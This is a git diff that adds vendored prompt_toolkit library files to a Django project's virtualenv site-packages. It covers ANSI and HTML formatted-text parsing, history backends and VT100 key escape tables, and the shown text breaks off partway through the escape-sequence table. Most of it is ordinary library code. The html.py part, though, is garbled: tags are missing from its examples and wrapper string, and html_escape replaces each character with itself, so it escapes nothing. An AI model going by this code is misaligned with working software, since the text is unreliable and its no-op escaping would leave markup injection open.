"PygmentsTokens", + # Utils. + "fragment_list_len", + "fragment_list_width", + "fragment_list_to_text", + "split_lines", + "to_plain_text", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/ansi.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/ansi.py new file mode 100644 index 00000000..2a30b09c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/ansi.py @@ -0,0 +1,297 @@ +from string import Formatter +from typing import Generator, List, Optional, Tuple, Union + +from prompt_toolkit.output.vt100 import BG_ANSI_COLORS, FG_ANSI_COLORS +from prompt_toolkit.output.vt100 import _256_colors as _256_colors_table + +from .base import StyleAndTextTuples + +__all__ = [ + "ANSI", + "ansi_escape", +] + + +class ANSI: + """ + ANSI formatted text. + Take something ANSI escaped text, for use as a formatted string. E.g. + + :: + + ANSI('\\x1b[31mhello \\x1b[32mworld') + + Characters between ``\\001`` and ``\\002`` are supposed to have a zero width + when printed, but these are literally sent to the terminal output. This can + be used for instance, for inserting Final Term prompt commands. They will + be translated into a prompt_toolkit '[ZeroWidthEscape]' fragment. + """ + + def __init__(self, value: str) -> None: + self.value = value + self._formatted_text: StyleAndTextTuples = [] + + # Default style attributes. + self._color: Optional[str] = None + self._bgcolor: Optional[str] = None + self._bold = False + self._underline = False + self._strike = False + self._italic = False + self._blink = False + self._reverse = False + self._hidden = False + + # Process received text. + parser = self._parse_corot() + parser.send(None) # type: ignore + for c in value: + parser.send(c) + + def _parse_corot(self) -> Generator[None, str, None]: + """ + Coroutine that parses the ANSI escape sequences. + """ + style = "" + formatted_text = self._formatted_text + + while True: + # NOTE: CSI is a special token within a stream of characters that + # introduces an ANSI control sequence used to set the + # style attributes of the following characters. + csi = False + + c = yield + + # Everything between \001 and \002 should become a ZeroWidthEscape. + if c == "\001": + escaped_text = "" + while c != "\002": + c = yield + if c == "\002": + formatted_text.append(("[ZeroWidthEscape]", escaped_text)) + c = yield + break + else: + escaped_text += c + + # Check for CSI + if c == "\x1b": + # Start of color escape sequence. + square_bracket = yield + if square_bracket == "[": + csi = True + else: + continue + elif c == "\x9b": + csi = True + + if csi: + # Got a CSI sequence. Color codes are following. + current = "" + params = [] + + while True: + char = yield + + # Construct number + if char.isdigit(): + current += char + + # Eval number + else: + # Limit and save number value + params.append(min(int(current or 0), 9999)) + + # Get delimiter token if present + if char == ";": + current = "" + + # Check and evaluate color codes + elif char == "m": + # Set attributes and token. + self._select_graphic_rendition(params) + style = self._create_style_string() + break + + # Check and evaluate cursor forward + elif char == "C": + for i in range(params[0]): + # add using current style + formatted_text.append((style, " ")) + break + + else: + # Ignore unsupported sequence. + break + else: + # Add current character. + # NOTE: At this point, we could merge the current character + # into the previous tuple if the style did not change, + # however, it's not worth the effort given that it will + # be "Exploded" once again when it's rendered to the + # output. + formatted_text.append((style, c)) + + def _select_graphic_rendition(self, attrs: List[int]) -> None: + """ + Taken a list of graphics attributes and apply changes. + """ + if not attrs: + attrs = [0] + else: + attrs = list(attrs[::-1]) + + while attrs: + attr = attrs.pop() + + if attr in _fg_colors: + self._color = _fg_colors[attr] + elif attr in _bg_colors: + self._bgcolor = _bg_colors[attr] + elif attr == 1: + self._bold = True + # elif attr == 2: + # self._faint = True + elif attr == 3: + self._italic = True + elif attr == 4: + self._underline = True + elif attr == 5: + self._blink = True # Slow blink + elif attr == 6: + self._blink = True # Fast blink + elif attr == 7: + self._reverse = True + elif attr == 8: + self._hidden = True + elif attr == 9: + self._strike = True + elif attr == 22: + self._bold = False # Normal intensity + elif attr == 23: + self._italic = False + elif attr == 24: + self._underline = False + elif attr == 25: + self._blink = False + elif attr == 27: + self._reverse = False + elif attr == 28: + self._hidden = False + elif attr == 29: + self._strike = False + elif not attr: + # Reset all style attributes + self._color = None + self._bgcolor = None + self._bold = False + self._underline = False + self._strike = False + self._italic = False + self._blink = False + self._reverse = False + self._hidden = False + + elif attr in (38, 48) and len(attrs) > 1: + n = attrs.pop() + + # 256 colors. + if n == 5 and len(attrs) >= 1: + if attr == 38: + m = attrs.pop() + self._color = _256_colors.get(m) + elif attr == 48: + m = attrs.pop() + self._bgcolor = _256_colors.get(m) + + # True colors. + if n == 2 and len(attrs) >= 3: + try: + color_str = "#{:02x}{:02x}{:02x}".format( + attrs.pop(), + attrs.pop(), + attrs.pop(), + ) + except IndexError: + pass + else: + if attr == 38: + self._color = color_str + elif attr == 48: + self._bgcolor = color_str + + def _create_style_string(self) -> str: + """ + Turn current style flags into a string for usage in a formatted text. + """ + result = [] + if self._color: + result.append(self._color) + if self._bgcolor: + result.append("bg:" + self._bgcolor) + if self._bold: + result.append("bold") + if self._underline: + result.append("underline") + if self._strike: + result.append("strike") + if self._italic: + result.append("italic") + if self._blink: + result.append("blink") + if self._reverse: + result.append("reverse") + if self._hidden: + result.append("hidden") + + return " ".join(result) + + def __repr__(self) -> str: + return f"ANSI({self.value!r})" + + def __pt_formatted_text__(self) -> StyleAndTextTuples: + return self._formatted_text + + def format(self, *args: str, **kwargs: str) -> "ANSI": + """ + Like `str.format`, but make sure that the arguments are properly + escaped. (No ANSI escapes can be injected.) + """ + return ANSI(FORMATTER.vformat(self.value, args, kwargs)) + + def __mod__(self, value: object) -> "ANSI": + """ + ANSI('%s') % value + """ + if not isinstance(value, tuple): + value = (value,) + + value = tuple(ansi_escape(i) for i in value) + return ANSI(self.value % value) + + +# Mapping of the ANSI color codes to their names. +_fg_colors = {v: k for k, v in FG_ANSI_COLORS.items()} +_bg_colors = {v: k for k, v in BG_ANSI_COLORS.items()} + +# Mapping of the escape codes for 256colors to their 'ffffff' value. +_256_colors = {} + +for i, (r, g, b) in enumerate(_256_colors_table.colors): + _256_colors[i] = f"#{r:02x}{g:02x}{b:02x}" + + +def ansi_escape(text: object) -> str: + """ + Replace characters with a special meaning. + """ + return str(text).replace("\x1b", "?").replace("\b", "?") + + +class ANSIFormatter(Formatter): + def format_field(self, value: object, format_spec: str) -> str: + return ansi_escape(format(value, format_spec)) + + +FORMATTER = ANSIFormatter() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/base.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/base.py new file mode 100644 index 00000000..e88c5935 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/base.py @@ -0,0 +1,176 @@ +from typing import TYPE_CHECKING, Any, Callable, Iterable, List, Tuple, Union, cast + +from prompt_toolkit.mouse_events import MouseEvent + +if TYPE_CHECKING: + from typing_extensions import Protocol + +__all__ = [ + "OneStyleAndTextTuple", + "StyleAndTextTuples", + "MagicFormattedText", + "AnyFormattedText", + "to_formatted_text", + "is_formatted_text", + "Template", + "merge_formatted_text", + "FormattedText", +] + +OneStyleAndTextTuple = Union[ + Tuple[str, str], Tuple[str, str, Callable[[MouseEvent], None]] +] + +# List of (style, text) tuples. +StyleAndTextTuples = List[OneStyleAndTextTuple] + + +if TYPE_CHECKING: + from typing_extensions import TypeGuard + + class MagicFormattedText(Protocol): + """ + Any object that implements ``__pt_formatted_text__`` represents formatted + text. + """ + + def __pt_formatted_text__(self) -> StyleAndTextTuples: + ... + + +AnyFormattedText = Union[ + str, + "MagicFormattedText", + StyleAndTextTuples, + # Callable[[], 'AnyFormattedText'] # Recursive definition not supported by mypy. + Callable[[], Any], + None, +] + + +def to_formatted_text( + value: AnyFormattedText, style: str = "", auto_convert: bool = False +) -> "FormattedText": + """ + Convert the given value (which can be formatted text) into a list of text + fragments. (Which is the canonical form of formatted text.) The outcome is + always a `FormattedText` instance, which is a list of (style, text) tuples. + + It can take a plain text string, an `HTML` or `ANSI` object, anything that + implements `__pt_formatted_text__` or a callable that takes no arguments and + returns one of those. + + :param style: An additional style string which is applied to all text + fragments. + :param auto_convert: If `True`, also accept other types, and convert them + to a string first. + """ + result: Union[FormattedText, StyleAndTextTuples] + + if value is None: + result = [] + elif isinstance(value, str): + result = [("", value)] + elif isinstance(value, list): + result = value # StyleAndTextTuples + elif hasattr(value, "__pt_formatted_text__"): + result = cast("MagicFormattedText", value).__pt_formatted_text__() + elif callable(value): + return to_formatted_text(value(), style=style) + elif auto_convert: + result = [("", f"{value}")] + else: + raise ValueError( + "No formatted text. Expecting a unicode object, " + "HTML, ANSI or a FormattedText instance. Got %r" % (value,) + ) + + # Apply extra style. + if style: + result = cast( + StyleAndTextTuples, + [(style + " " + item_style, *rest) for item_style, *rest in result], + ) + + # Make sure the result is wrapped in a `FormattedText`. Among other + # reasons, this is important for `print_formatted_text` to work correctly + # and distinguish between lists and formatted text. + if isinstance(result, FormattedText): + return result + else: + return FormattedText(result) + + +def is_formatted_text(value: object) -> "TypeGuard[AnyFormattedText]": + """ + Check whether the input is valid formatted text (for use in assert + statements). + In case of a callable, it doesn't check the return type. + """ + if callable(value): + return True + if isinstance(value, (str, list)): + return True + if hasattr(value, "__pt_formatted_text__"): + return True + return False + + +class FormattedText(StyleAndTextTuples): + """ + A list of ``(style, text)`` tuples. + + (In some situations, this can also be ``(style, text, mouse_handler)`` + tuples.) + """ + + def __pt_formatted_text__(self) -> StyleAndTextTuples: + return self + + def __repr__(self) -> str: + return "FormattedText(%s)" % super().__repr__() + + +class Template: + """ + Template for string interpolation with formatted text. + + Example:: + + Template(' ... {} ... ').format(HTML(...)) + + :param text: Plain text. + """ + + def __init__(self, text: str) -> None: + assert "{0}" not in text + self.text = text + + def format(self, *values: AnyFormattedText) -> AnyFormattedText: + def get_result() -> AnyFormattedText: + # Split the template in parts. + parts = self.text.split("{}") + assert len(parts) - 1 == len(values) + + result = FormattedText() + for part, val in zip(parts, values): + result.append(("", part)) + result.extend(to_formatted_text(val)) + result.append(("", parts[-1])) + return result + + return get_result + + +def merge_formatted_text(items: Iterable[AnyFormattedText]) -> AnyFormattedText: + """ + Merge (Concatenate) several pieces of formatted text together. + """ + + def _merge_formatted_text() -> AnyFormattedText: + result = FormattedText() + for i in items: + result.extend(to_formatted_text(i)) + return result + + return _merge_formatted_text diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/html.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/html.py new file mode 100644 index 00000000..0af2b18b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/html.py @@ -0,0 +1,143 @@ +import xml.dom.minidom as minidom +from string import Formatter +from typing import Any, List, Tuple, Union + +from .base import FormattedText, StyleAndTextTuples + +__all__ = ["HTML"] + + +class HTML: + """ + HTML formatted text. + Take something HTML-like, for use as a formatted string. + + :: + + # Turn something into red. + HTML('') + + # Italic, bold, underline and strike. + HTML('...') + HTML('...') + HTML('...') + HTML('...') + + All HTML elements become available as a "class" in the style sheet. + E.g. ``...`` can be styled, by setting a style for + ``username``. + """ + + def __init__(self, value: str) -> None: + self.value = value + document = minidom.parseString(f"{value}") + + result: StyleAndTextTuples = [] + name_stack: List[str] = [] + fg_stack: List[str] = [] + bg_stack: List[str] = [] + + def get_current_style() -> str: + "Build style string for current node." + parts = [] + if name_stack: + parts.append("class:" + ",".join(name_stack)) + + if fg_stack: + parts.append("fg:" + fg_stack[-1]) + if bg_stack: + parts.append("bg:" + bg_stack[-1]) + return " ".join(parts) + + def process_node(node: Any) -> None: + "Process node recursively." + for child in node.childNodes: + if child.nodeType == child.TEXT_NODE: + result.append((get_current_style(), child.data)) + else: + add_to_name_stack = child.nodeName not in ( + "#document", + "html-root", + "style", + ) + fg = bg = "" + + for k, v in child.attributes.items(): + if k == "fg": + fg = v + if k == "bg": + bg = v + if k == "color": + fg = v # Alias for 'fg'. + + # Check for spaces in attributes. This would result in + # invalid style strings otherwise. + if " " in fg: + raise ValueError('"fg" attribute contains a space.') + if " " in bg: + raise ValueError('"bg" attribute contains a space.') + + if add_to_name_stack: + name_stack.append(child.nodeName) + if fg: + fg_stack.append(fg) + if bg: + bg_stack.append(bg) + + process_node(child) + + if add_to_name_stack: + name_stack.pop() + if fg: + fg_stack.pop() + if bg: + bg_stack.pop() + + process_node(document) + + self.formatted_text = FormattedText(result) + + def __repr__(self) -> str: + return f"HTML({self.value!r})" + + def __pt_formatted_text__(self) -> StyleAndTextTuples: + return self.formatted_text + + def format(self, *args: object, **kwargs: object) -> "HTML": + """ + Like `str.format`, but make sure that the arguments are properly + escaped. + """ + return HTML(FORMATTER.vformat(self.value, args, kwargs)) + + def __mod__(self, value: object) -> "HTML": + """ + HTML('%s') % value + """ + if not isinstance(value, tuple): + value = (value,) + + value = tuple(html_escape(i) for i in value) + return HTML(self.value % value) + + +class HTMLFormatter(Formatter): + def format_field(self, value: object, format_spec: str) -> str: + return html_escape(format(value, format_spec)) + + +def html_escape(text: object) -> str: + # The string interpolation functions also take integers and other types. + # Convert to string first. + if not isinstance(text, str): + text = f"{text}" + + return ( + text.replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace('"', """) + ) + + +FORMATTER = HTMLFormatter() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/pygments.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/pygments.py new file mode 100644 index 00000000..dd16f0ef --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/pygments.py @@ -0,0 +1,30 @@ +from typing import TYPE_CHECKING, List, Tuple + +from prompt_toolkit.styles.pygments import pygments_token_to_classname + +from .base import StyleAndTextTuples + +if TYPE_CHECKING: + from pygments.token import Token + +__all__ = [ + "PygmentsTokens", +] + + +class PygmentsTokens: + """ + Turn a pygments token list into a list of prompt_toolkit text fragments + (``(style_str, text)`` tuples). + """ + + def __init__(self, token_list: List[Tuple["Token", str]]) -> None: + self.token_list = token_list + + def __pt_formatted_text__(self) -> StyleAndTextTuples: + result: StyleAndTextTuples = [] + + for token, text in self.token_list: + result.append(("class:" + pygments_token_to_classname(token), text)) + + return result diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/utils.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/utils.py new file mode 100644 index 00000000..cda4233e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/utils.py @@ -0,0 +1,98 @@ +""" +Utilities for manipulating formatted text. + +When ``to_formatted_text`` has been called, we get a list of ``(style, text)`` +tuples. This file contains functions for manipulating such a list. +""" +from typing import Iterable, cast + +from prompt_toolkit.utils import get_cwidth + +from .base import ( + AnyFormattedText, + OneStyleAndTextTuple, + StyleAndTextTuples, + to_formatted_text, +) + +__all__ = [ + "to_plain_text", + "fragment_list_len", + "fragment_list_width", + "fragment_list_to_text", + "split_lines", +] + + +def to_plain_text(value: AnyFormattedText) -> str: + """ + Turn any kind of formatted text back into plain text. + """ + return fragment_list_to_text(to_formatted_text(value)) + + +def fragment_list_len(fragments: StyleAndTextTuples) -> int: + """ + Return the amount of characters in this text fragment list. + + :param fragments: List of ``(style_str, text)`` or + ``(style_str, text, mouse_handler)`` tuples. + """ + ZeroWidthEscape = "[ZeroWidthEscape]" + return sum(len(item[1]) for item in fragments if ZeroWidthEscape not in item[0]) + + +def fragment_list_width(fragments: StyleAndTextTuples) -> int: + """ + Return the character width of this text fragment list. + (Take double width characters into account.) + + :param fragments: List of ``(style_str, text)`` or + ``(style_str, text, mouse_handler)`` tuples. + """ + ZeroWidthEscape = "[ZeroWidthEscape]" + return sum( + get_cwidth(c) + for item in fragments + for c in item[1] + if ZeroWidthEscape not in item[0] + ) + + +def fragment_list_to_text(fragments: StyleAndTextTuples) -> str: + """ + Concatenate all the text parts again. + + :param fragments: List of ``(style_str, text)`` or + ``(style_str, text, mouse_handler)`` tuples. + """ + ZeroWidthEscape = "[ZeroWidthEscape]" + return "".join(item[1] for item in fragments if ZeroWidthEscape not in item[0]) + + +def split_lines(fragments: StyleAndTextTuples) -> Iterable[StyleAndTextTuples]: + """ + Take a single list of (style_str, text) tuples and yield one such list for each + line. Just like str.split, this will yield at least one item. + + :param fragments: List of (style_str, text) or (style_str, text, mouse_handler) + tuples. + """ + line: StyleAndTextTuples = [] + + for style, string, *mouse_handler in fragments: + parts = string.split("\n") + + for part in parts[:-1]: + if part: + line.append(cast(OneStyleAndTextTuple, (style, part, *mouse_handler))) + yield line + line = [] + + line.append(cast(OneStyleAndTextTuple, (style, parts[-1], *mouse_handler))) + + # Always yield the last line, even when this is an empty line. This ensures + # that when `fragments` ends with a newline character, an additional empty + # line is yielded. (Otherwise, there's no way to differentiate between the + # cases where `fragments` does and doesn't end with a newline.) + yield line diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/history.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/history.py new file mode 100644 index 00000000..987d7175 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/history.py @@ -0,0 +1,301 @@ +""" +Implementations for the history of a `Buffer`. + +NOTE: There is no `DynamicHistory`: + This doesn't work well, because the `Buffer` needs to be able to attach + an event handler to the event when a history entry is loaded. This + loading can be done asynchronously and making the history swappable would + probably break this. +""" +import datetime +import os +import threading +from abc import ABCMeta, abstractmethod +from typing import AsyncGenerator, Iterable, List, Optional, Sequence, Tuple + +from prompt_toolkit.eventloop import get_event_loop + +__all__ = [ + "History", + "ThreadedHistory", + "DummyHistory", + "FileHistory", + "InMemoryHistory", +] + + +class History(metaclass=ABCMeta): + """ + Base ``History`` class. + + This also includes abstract methods for loading/storing history. + """ + + def __init__(self) -> None: + # In memory storage for strings. + self._loaded = False + + # History that's loaded already, in reverse order. Latest, most recent + # item first. + self._loaded_strings: List[str] = [] + + # + # Methods expected by `Buffer`. + # + + async def load(self) -> AsyncGenerator[str, None]: + """ + Load the history and yield all the entries in reverse order (latest, + most recent history entry first). + + This method can be called multiple times from the `Buffer` to + repopulate the history when prompting for a new input. So we are + responsible here for both caching, and making sure that strings that + were were appended to the history will be incorporated next time this + method is called. + """ + if not self._loaded: + self._loaded_strings = list(self.load_history_strings()) + self._loaded = True + + for item in self._loaded_strings: + yield item + + def get_strings(self) -> List[str]: + """ + Get the strings from the history that are loaded so far. + (In order. Oldest item first.) + """ + return self._loaded_strings[::-1] + + def append_string(self, string: str) -> None: + "Add string to the history." + self._loaded_strings.insert(0, string) + self.store_string(string) + + # + # Implementation for specific backends. + # + + @abstractmethod + def load_history_strings(self) -> Iterable[str]: + """ + This should be a generator that yields `str` instances. + + It should yield the most recent items first, because they are the most + important. (The history can already be used, even when it's only + partially loaded.) + """ + while False: + yield + + @abstractmethod + def store_string(self, string: str) -> None: + """ + Store the string in persistent storage. + """ + + +class ThreadedHistory(History): + """ + Wrapper around `History` implementations that run the `load()` generator in + a thread. + + Use this to increase the start-up time of prompt_toolkit applications. + History entries are available as soon as they are loaded. We don't have to + wait for everything to be loaded. + """ + + def __init__(self, history: History) -> None: + super().__init__() + + self.history = history + + self._load_thread: Optional[threading.Thread] = None + + # Lock for accessing/manipulating `_loaded_strings` and `_loaded` + # together in a consistent state. + self._lock = threading.Lock() + + # Events created by each `load()` call. Used to wait for new history + # entries from the loader thread. + self._string_load_events: List[threading.Event] = [] + + async def load(self) -> AsyncGenerator[str, None]: + """ + Like `History.load(), but call `self.load_history_strings()` in a + background thread. + """ + # Start the load thread, if this is called for the first time. + if not self._load_thread: + self._load_thread = threading.Thread( + target=self._in_load_thread, + daemon=True, + ) + self._load_thread.start() + + # Consume the `_loaded_strings` list, using asyncio. + loop = get_event_loop() + + # Create threading Event so that we can wait for new items. + event = threading.Event() + event.set() + self._string_load_events.append(event) + + items_yielded = 0 + + try: + while True: + # Wait for new items to be available. + # (Use a timeout, because the executor thread is not a daemon + # thread. The "slow-history.py" example would otherwise hang if + # Control-C is pressed before the history is fully loaded, + # because there's still this non-daemon executor thread waiting + # for this event.) + got_timeout = await loop.run_in_executor( + None, lambda: event.wait(timeout=0.5) + ) + if not got_timeout: + continue + + # Read new items (in lock). + def in_executor() -> Tuple[List[str], bool]: + with self._lock: + new_items = self._loaded_strings[items_yielded:] + done = self._loaded + event.clear() + return new_items, done + + new_items, done = await loop.run_in_executor(None, in_executor) + + items_yielded += len(new_items) + + for item in new_items: + yield item + + if done: + break + finally: + self._string_load_events.remove(event) + + def _in_load_thread(self) -> None: + try: + # Start with an empty list. In case `append_string()` was called + # before `load()` happened. Then `.store_string()` will have + # written these entries back to disk and we will reload it. + self._loaded_strings = [] + + for item in self.history.load_history_strings(): + with self._lock: + self._loaded_strings.append(item) + + for event in self._string_load_events: + event.set() + finally: + with self._lock: + self._loaded = True + for event in self._string_load_events: + event.set() + + def append_string(self, string: str) -> None: + with self._lock: + self._loaded_strings.insert(0, string) + self.store_string(string) + + # All of the following are proxied to `self.history`. + + def load_history_strings(self) -> Iterable[str]: + return self.history.load_history_strings() + + def store_string(self, string: str) -> None: + self.history.store_string(string) + + def __repr__(self) -> str: + return f"ThreadedHistory({self.history!r})" + + +class InMemoryHistory(History): + """ + :class:`.History` class that keeps a list of all strings in memory. + + In order to prepopulate the history, it's possible to call either + `append_string` for all items or pass a list of strings to `__init__` here. + """ + + def __init__(self, history_strings: Optional[Sequence[str]] = None) -> None: + super().__init__() + # Emulating disk storage. + if history_strings is None: + self._storage = [] + else: + self._storage = list(history_strings) + + def load_history_strings(self) -> Iterable[str]: + yield from self._storage[::-1] + + def store_string(self, string: str) -> None: + self._storage.append(string) + + +class DummyHistory(History): + """ + :class:`.History` object that doesn't remember anything. + """ + + def load_history_strings(self) -> Iterable[str]: + return [] + + def store_string(self, string: str) -> None: + pass + + def append_string(self, string: str) -> None: + # Don't remember this. + pass + + +class FileHistory(History): + """ + :class:`.History` class that stores all strings in a file. + """ + + def __init__(self, filename: str) -> None: + self.filename = filename + super().__init__() + + def load_history_strings(self) -> Iterable[str]: + strings: List[str] = [] + lines: List[str] = [] + + def add() -> None: + if lines: + # Join and drop trailing newline. + string = "".join(lines)[:-1] + + strings.append(string) + + if os.path.exists(self.filename): + with open(self.filename, "rb") as f: + for line_bytes in f: + line = line_bytes.decode("utf-8", errors="replace") + + if line.startswith("+"): + lines.append(line[1:]) + else: + add() + lines = [] + + add() + + # Reverse the order, because newest items have to go first. + return reversed(strings) + + def store_string(self, string: str) -> None: + # Save to file. + with open(self.filename, "ab") as f: + + def write(t: str) -> None: + f.write(t.encode("utf-8")) + + write("\n# %s\n" % datetime.datetime.now()) + for line in string.split("\n"): + write("+%s\n" % line) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/__init__.py new file mode 100644 index 00000000..dc319769 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/__init__.py @@ -0,0 +1,12 @@ +from .base import DummyInput, Input, PipeInput +from .defaults import create_input, create_pipe_input + +__all__ = [ + # Base. + "Input", + "PipeInput", + "DummyInput", + # Defaults. + "create_input", + "create_pipe_input", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/ansi_escape_sequences.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/ansi_escape_sequences.py new file mode 100644 index 00000000..2e6c5b9b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/ansi_escape_sequences.py @@ -0,0 +1,343 @@ +""" +Mappings from VT100 (ANSI) escape sequences to the corresponding prompt_toolkit +keys. + +We are not using the terminfo/termcap databases to detect the ANSI escape +sequences for the input. Instead, we recognize 99% of the most common +sequences. This works well, because in practice, every modern terminal is +mostly Xterm compatible. + +Some useful docs: +- Mintty: https://github.com/mintty/mintty/blob/master/wiki/Keycodes.md +""" +from typing import Dict, Tuple, Union + +from ..keys import Keys + +__all__ = [ + "ANSI_SEQUENCES", + "REVERSE_ANSI_SEQUENCES", +] + +# Mapping of vt100 escape codes to Keys. +ANSI_SEQUENCES: Dict[str, Union[Keys, Tuple[Keys, ...]]] = { + # Control keys. + "\x00": Keys.ControlAt, # Control-At (Also for Ctrl-Space) + "\x01": Keys.ControlA, # Control-A (home) + "\x02": Keys.ControlB, # Control-B (emacs cursor left) + "\x03": Keys.ControlC, # Control-C (interrupt) + "\x04": Keys.ControlD, # Control-D (exit) + "\x05": Keys.ControlE, # Control-E (end) + "\x06": Keys.ControlF, # Control-F (cursor forward) + "\x07": Keys.ControlG, # Control-G + "\x08": Keys.ControlH, # Control-H (8) (Identical to '\b') + "\x09": Keys.ControlI, # Control-I (9) (Identical to '\t') + "\x0a": Keys.ControlJ, # Control-J (10) (Identical to '\n') + "\x0b": Keys.ControlK, # Control-K (delete until end of line; vertical tab) + "\x0c": Keys.ControlL, # Control-L (clear; form feed) + "\x0d": Keys.ControlM, # Control-M (13) (Identical to '\r') + "\x0e": Keys.ControlN, # Control-N (14) (history forward) + "\x0f": Keys.ControlO, # Control-O (15) + "\x10": Keys.ControlP, # Control-P (16) (history back) + "\x11": Keys.ControlQ, # Control-Q + "\x12": Keys.ControlR, # Control-R (18) (reverse search) + "\x13": Keys.ControlS, # Control-S (19) (forward search) + "\x14": Keys.ControlT, # Control-T + "\x15": Keys.ControlU, # Control-U + "\x16": Keys.ControlV, # Control-V + "\x17": Keys.ControlW, # Control-W + "\x18": Keys.ControlX, # Control-X + "\x19": Keys.ControlY, # Control-Y (25) + "\x1a": Keys.ControlZ, # Control-Z + "\x1b": Keys.Escape, # Also Control-[ + "\x9b": Keys.ShiftEscape, + "\x1c": Keys.ControlBackslash, # Both Control-\ (also Ctrl-| ) + "\x1d": Keys.ControlSquareClose, # Control-] + "\x1e": Keys.ControlCircumflex, # Control-^ + "\x1f": Keys.ControlUnderscore, # Control-underscore (Also for Ctrl-hyphen.) + # ASCII Delete (0x7f) + # Vt220 (and Linux terminal) send this when pressing backspace. We map this + # to ControlH, because that will make it easier to create key bindings that + # work everywhere, with the trade-off that it's no longer possible to + # handle backspace and control-h individually for the few terminals that + # support it. (Most terminals send ControlH when backspace is pressed.) + # See: http://www.ibb.net/~anne/keyboard.html + "\x7f": Keys.ControlH, + # -- + # Various + "\x1b[1~": Keys.Home, # tmux + "\x1b[2~": Keys.Insert, + "\x1b[3~": Keys.Delete, + "\x1b[4~": Keys.End, # tmux + "\x1b[5~": Keys.PageUp, + "\x1b[6~": Keys.PageDown, + "\x1b[7~": Keys.Home, # xrvt + "\x1b[8~": Keys.End, # xrvt + "\x1b[Z": Keys.BackTab, # shift + tab + "\x1b\x09": Keys.BackTab, # Linux console + "\x1b[~": Keys.BackTab, # Windows console + # -- + # Function keys. + "\x1bOP": Keys.F1, + "\x1bOQ": Keys.F2, + "\x1bOR": Keys.F3, + "\x1bOS": Keys.F4, + "\x1b[[A": Keys.F1, # Linux console. + "\x1b[[B": Keys.F2, # Linux console. + "\x1b[[C": Keys.F3, # Linux console. + "\x1b[[D": Keys.F4, # Linux console. + "\x1b[[E": Keys.F5, # Linux console. + "\x1b[11~": Keys.F1, # rxvt-unicode + "\x1b[12~": Keys.F2, # rxvt-unicode + "\x1b[13~": Keys.F3, # rxvt-unicode + "\x1b[14~": Keys.F4, # rxvt-unicode + "\x1b[15~": Keys.F5, + "\x1b[17~": Keys.F6, + "\x1b[18~": Keys.F7, + "\x1b[19~": Keys.F8, + "\x1b[20~": Keys.F9, + "\x1b[21~": Keys.F10, + "\x1b[23~": Keys.F11, + "\x1b[24~": Keys.F12, + "\x1b[25~": Keys.F13, + "\x1b[26~": Keys.F14, + "\x1b[28~": Keys.F15, + "\x1b[29~": Keys.F16, + "\x1b[31~": Keys.F17, + "\x1b[32~": Keys.F18, + "\x1b[33~": Keys.F19, + "\x1b[34~": Keys.F20, + # Xterm + "\x1b[1;2P": Keys.F13, + "\x1b[1;2Q": Keys.F14, + # '\x1b[1;2R': Keys.F15, # Conflicts with CPR response. + "\x1b[1;2S": Keys.F16, + "\x1b[15;2~": Keys.F17, + "\x1b[17;2~": Keys.F18, + "\x1b[18;2~": Keys.F19, + "\x1b[19;2~": Keys.F20, + "\x1b[20;2~": Keys.F21, + "\x1b[21;2~": Keys.F22, + "\x1b[23;2~": Keys.F23, + "\x1b[24;2~": Keys.F24, + # -- + # CSI 27 disambiguated modified "other" keys (xterm) + # Ref: https://invisible-island.net/xterm/modified-keys.html + # These are currently unsupported, so just re-map some common ones to the + # unmodified versions + "\x1b[27;2;13~": Keys.ControlM, # Shift + Enter + "\x1b[27;5;13~": Keys.ControlM, # Ctrl + Enter + "\x1b[27;6;13~": Keys.ControlM, # Ctrl + Shift + Enter + # -- + # Control + function keys. + "\x1b[1;5P": Keys.ControlF1, + "\x1b[1;5Q": Keys.ControlF2, + # "\x1b[1;5R": Keys.ControlF3, # Conflicts with CPR response. + "\x1b[1;5S": Keys.ControlF4, + "\x1b[15;5~": Keys.ControlF5, + "\x1b[17;5~": Keys.ControlF6, + "\x1b[18;5~": Keys.ControlF7, + "\x1b[19;5~": Keys.ControlF8, + "\x1b[20;5~": Keys.ControlF9, + "\x1b[21;5~": Keys.ControlF10, + "\x1b[23;5~": Keys.ControlF11, + "\x1b[24;5~": Keys.ControlF12, + "\x1b[1;6P": Keys.ControlF13, + "\x1b[1;6Q": Keys.ControlF14, + # "\x1b[1;6R": Keys.ControlF15, # Conflicts with CPR response. + "\x1b[1;6S": Keys.ControlF16, + "\x1b[15;6~": Keys.ControlF17, + "\x1b[17;6~": Keys.ControlF18, + "\x1b[18;6~": Keys.ControlF19, + "\x1b[19;6~": Keys.ControlF20, + "\x1b[20;6~": Keys.ControlF21, + "\x1b[21;6~": Keys.ControlF22, + "\x1b[23;6~": Keys.ControlF23, + "\x1b[24;6~": Keys.ControlF24, + # -- + # Tmux (Win32 subsystem) sends the following scroll events. + 